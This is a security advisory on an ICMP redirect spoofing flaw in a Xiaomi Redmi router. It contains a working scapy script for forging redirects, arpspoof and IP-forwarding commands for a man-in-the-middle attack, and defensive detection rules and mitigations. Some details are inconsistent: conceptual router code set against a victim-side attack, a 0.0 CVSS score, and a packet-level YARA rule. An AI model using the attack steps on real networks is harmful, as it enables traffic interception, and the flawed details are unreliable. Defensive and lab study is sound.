CVE-2024-37663

Executive Summary

CVE-2024-37663 exposes a critical vulnerability in the Xiaomi Redmi Router RB03 (firmware version v1.0.57) that allows an attacker on the same WLAN to forge ICMP redirect messages. By sending spoofed ICMP redirect packets, the attacker can hijack traffic between the victim and any remote server, enabling man-in-the-middle (MITM) attacks, traffic interception, and potential data exfiltration. The vulnerability stems from the router’s failure to validate the source of ICMP redirect messages, a classic weakness in network protocol implementations. With no official patch available, affected devices remain at risk. This report provides a comprehensive technical analysis, detection methods, and exploitation guidance for both Red and Blue teams.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in Xiaomi’s Redmi Router RB03.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned; estimated based on impact)
• Estimated Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (Adjacent Network, Low Complexity, No Privileges, No User Interaction, Unchanged Scope, High Confidentiality, High Integrity, No Availability Impact)
• Threat Level: High – Exploitation requires only adjacency to the victim’s WLAN, and the impact includes full traffic hijacking.

Deep Dive & Mechanics

The ICMP redirect mechanism is designed to inform hosts of a better route to a destination. In a properly secured network, routers should only accept redirect messages from the first-hop router. However, the Xiaomi Redmi Router RB03 v1.0.57 fails to enforce this validation. An attacker on the same WLAN can craft ICMP Type 5 (Redirect) packets with a spoofed source IP (the router’s IP) and a new gateway IP (the attacker’s machine). The victim’s device, trusting the router, updates its routing table and forwards all traffic to the attacker’s IP. This allows the attacker to intercept, modify, or drop traffic.

Attack Flow:

1. Attacker connects to the same WLAN as the victim.
2. Attacker sends a forged ICMP redirect message to the victim, claiming a better route to a remote server (e.g., 8.8.8.8) via the attacker’s IP.
3. Victim updates its routing table and sends all traffic to the attacker.
4. Attacker forwards traffic to the real destination after interception (MITM).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The router’s firmware likely processes ICMP redirect messages without verifying the source IP or the gateway address. A simplified vulnerable logic:

void handle_icmp_redirect(packet) {
    if (packet.type == ICMP_REDIRECT) {
        update_routing_table(packet.new_gateway, packet.destination);
    }
}

Patched Code (Expected): A secure implementation should validate that the redirect message originates from the current first-hop router and that the new gateway is on the same subnet:

void handle_icmp_redirect(packet) {
    if (packet.type == ICMP_REDIRECT) {
        if (packet.source_ip == current_router_ip && 
            is_on_same_subnet(packet.new_gateway, victim_ip)) {
            update_routing_table(packet.new_gateway, packet.destination);
        } else {
            drop_packet();
        }
    }
}

Exploitation & Lab Setup

Red Team

Lab Environment:

• Victim: Windows/Linux machine connected to Xiaomi RB03 router (v1.0.57)
• Attacker: Kali Linux machine on same WLAN
• Target: Remote server (e.g., 8.8.8.8)

Exploitation Steps:

1. Identify victim’s IP and router’s IP (e.g., via arp-scan).
2. Use scapy to send forged ICMP redirect:

from scapy.all import *
victim_ip = "192.168.1.100"
router_ip = "192.168.1.1"
attacker_ip = "192.168.1.200"
target_ip = "8.8.8.8"

# Craft ICMP redirect packet
ip = IP(src=router_ip, dst=victim_ip)
icmp = ICMP(type=5, code=1, gw=attacker_ip)
redirect = ip/icmp/IP(src=victim_ip, dst=target_ip)/ICMP()

send(redirect, iface="wlan0")

3. Enable IP forwarding on attacker:

echo 1 > /proc/sys/net/ipv4/ip_forward

4. Use arpspoof to maintain MITM position (optional):

arpspoof -i wlan0 -t 192.168.1.100 192.168.1.1

5. Intercept traffic with tcpdump or mitmproxy.

Blue Team

Detection & Response:

• Monitor for unexpected ICMP redirect messages on the network.
• Use tcpdump to capture ICMP Type 5 packets:

tcpdump -i any icmp[icmptype] == 5

• Check routing tables on endpoints for suspicious entries:

route -n   # Linux
netstat -rn  # Windows

• Implement network segmentation to limit WLAN access.
• Disable ICMP redirect acceptance on endpoints (e.g., sysctl -w net.ipv4.conf.all.accept_redirects=0 on Linux).

Indicators of Compromise (IOCs)

• Network IOCs:
  • ICMP Type 5 (Redirect) packets with source IP matching the router but gateway IP not on the same subnet.
  • Unusual routing table entries pointing to an unknown gateway.
  • Increased traffic to a single IP (attacker’s machine) from multiple victims.
• Host IOCs:
  • Modified routing tables (e.g., route -n shows a gateway different from the default router).
  • ARP cache entries with MAC address mismatches (if combined with ARP spoofing).
• File IOCs:
  • Logs in /var/log/syslog or Windows Event Logs indicating routing changes.

Detection Engineering

YARA Rule

rule Detect_ICMP_Redirect_Attack {
    meta:
        description = "Detects forged ICMP redirect packets targeting Xiaomi RB03"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37663"
    strings:
        $icmp_type = { 05 }  // ICMP Type 5
        $icmp_code = { 01 }  // Code 1 (Redirect for host)
    condition:
        $icmp_type at 20 and $icmp_code at 21
}

Sigma Rule

title: ICMP Redirect Attack Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects forged ICMP redirect messages on the network
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        icmp.type: 5
        icmp.code: 1
    condition: selection
falsepositives:
    - Legitimate ICMP redirects from authorized routers
level: high

Suricata Rule

alert icmp any any -> any any (msg:"CVE-2024-37663 - ICMP Redirect Attack"; icmp_type:5; icmp_code:1; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Actions:
  • Disable ICMP redirect acceptance on all endpoints connected to the RB03 router:
    • Linux: sysctl -w net.ipv4.conf.all.accept_redirects=0
    • Windows: netsh int ipv4 set global icmpredirects=disabled
  • Monitor network for ICMP Type 5 packets using the provided detection rules.
• Long-term Fix:
  • Xiaomi must release a firmware update that validates ICMP redirect sources. Until then, consider replacing the router with a patched alternative.
  • Implement network segmentation to isolate IoT devices from critical assets.
• Workaround:
  • Use a VPN for all traffic to prevent MITM attacks.
  • Enable MAC address filtering on the WLAN to limit unauthorized devices.

Valters IT